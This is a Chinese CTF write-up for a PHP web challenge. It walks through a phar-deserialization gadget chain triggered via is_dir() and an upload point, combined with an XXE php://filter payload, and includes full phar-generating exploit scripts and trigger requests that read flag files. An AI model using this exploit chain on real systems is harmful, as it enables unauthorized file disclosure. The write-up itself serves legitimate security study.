Web
访问8000端口,题目给了源码:
<?php
class TheUse{
private $obj;
private $con1;
private $con2;
function __construct($obj,$con1,$con2){
$this->obj = $obj;
$this->con1 = $con1;
$this->con2 = $con2;
}
function __destruct(){
$new = $this->obj;
$new($this->con1,$this->con2);
}
}
class MyClass{
private $dir;
function __construct($dir){
$this->dir = $dir;
}
function __toString(){
echo "String conversion.\n";
}
function __invoke($param1,$param2){
$this->$param1($param2);
}
public function getdir($path){
print_r(glob($path));
}
public function load($con){
simplexml_load_string($con,null,LIBXML_NOENT);
}
}
if(isset($_REQUEST['f'])){
$filename=$_REQUEST['f'];
is_dir($filename);
}else{
highlight_file(__FILE__);
}
php反序列的知识不懂可以先看:https://blog.csdn.net/qq_64201116/article/details/127234204
看到**class的魔术方法**
第一时间想到反序列化
但是没有类似于unserialize()
的反序列化函数
注意到函数is_dir()
,这个函数可以触发phar
协议,这个phar协议可以触发反序列化
phar反序列化知识补充:http://home.ustc.edu.cn/~xjyuan/blog/2019/11/13/phar-unserialize/
但是phar需要有文件上传的点:于是找到了/upload.php
这个功能点
因此思路就有了:
通过链子构造phar文件,上传phar文件后用phar协议读取
反序列化的链子很简单:
TheUse$__destruct() -->MyClass$__invoke-->MyClass$getdir() //读取文件名称
TheUse$__destruct() -->MyClass$__invoke-->MyClass$load() //读取文件内容
构造反序列化链子:
<?php
class TheUse{
private $obj;
private $con1;
private $con2;
function __construct($obj,$con1,$con2){
$this->obj = $obj;
$this->con1 = $con1;
$this->con2 = $con2;
}
function __destruct(){
$new = $this->obj;
$new($this->con1,$this->con2);
}
}
class MyClass{
private $dir;
function __construct($dir){
$this->dir = $dir;
}
function __toString(){
echo "String conversion.\n";
}
function __invoke($param1,$param2){
$this->$param1($param2);
}
public function getdir($path){
print_r(glob($path));
}
public function load($con){
simplexml_load_string($con,null,LIBXML_NOENT);
}
}
$xml=<<<EOF
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY[
<!ENTITY file SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/flag.php">]>
<x>&file;</x>
EOF;
$payload = new TheUse(new MyClass('./'), 'load', $xml);
坑点1
构造函数的时候$xml
变量要用
$xml=<<<EOF
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY[
<!ENTITY file SYSTEM "php://filter/convert.base64-encode/resource=./flag.php">]>
<x>&file;</x>
EOF;
这种形式定义,不能直接放到构造函数里,我就是死在这
坑点2
在xml中读取文件时要用绝对路径读取协议(这里用了php伪协议读取文件: php filter读文件知识补充https://blog.csdn.net/qq_64201116/article/details/125926612):
不用绝对路径的报错图:
解决方法(使用绝对路径):
解题:
payload生成读取文件名的phar文件:
<?php
class TheUse{
private $obj;
private $con1;
private $con2;
function __construct($obj,$con1,$con2){
$this->obj = $obj;
$this->con1 = $con1;
$this->con2 = $con2;
}
function __destruct(){
$new = $this->obj;
$new($this->con1,$this->con2);
}
}
class MyClass{
private $dir;
function __construct($dir){
$this->dir = $dir;
}
function __toString(){
echo "String conversion.\n";
}
function __invoke($param1,$param2){
$this->$param1($param2);
}
private function getdir($path){
print_r(glob($path));
}
private function load($con){
simplexml_load_string($con,null,LIBXML_NOENT);
}
}
$payload = new TheUse(new MyClass('/var/www/html'), 'getdir', '/var/www/html/*');
$phar = new Phar('phar.phar');
$phar->startBuffering();
$phar->setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar->setMetadata($payload);
$phar->addFromString('1.txt','test'); // phar:[phar.phar][system_get_you_filename]/1.txt
$phar->stopBuffering();
运行后上传phar文件
然后使用phar协议读取:
?f=phar:///var/www/html/phar.phar
可以看到flag的名称是Maybe_flag_is_here.php
接下来读取flag:
<?php
class TheUse{
private $obj;
private $con1;
private $con2;
function __construct($obj,$con1,$con2){
$this->obj = $obj;
$this->con1 = $con1;
$this->con2 = $con2;
}
function __destruct(){
$new = $this->obj;
$new($this->con1,$this->con2);
}
}
class MyClass{
private $dir;
function __construct($dir){
$this->dir = $dir;
}
function __toString(){
echo "String conversion.\n";
}
function __invoke($param1,$param2){
$this->$param1($param2);
}
private function getdir($path){
print_r(glob($path));
}
private function load($con){
simplexml_load_string($con,null,LIBXML_NOENT);
}
}
$xml=<<<EOF
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY[
<!ENTITY file SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/Maybe_flag_is_here.php">]>
<x>&file;</x>
EOF;
$payload = new TheUse(new MyClass('/var/www/html'), 'load', $xml);
$phar = new Phar('phar.phar');
$phar->startBuffering();
$phar->setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar->setMetadata($payload);
$phar->addFromString('1.txt','test'); // phar:[phar.phar][system_get_you_filename]/1.txt
$phar->stopBuffering();
依旧是把生成的phar文件上传,使用phar协议反序列化:
?f=phar:///var/www/html/phar.phar
解码得到flag:
flag:flag{this-is-flag-for-you}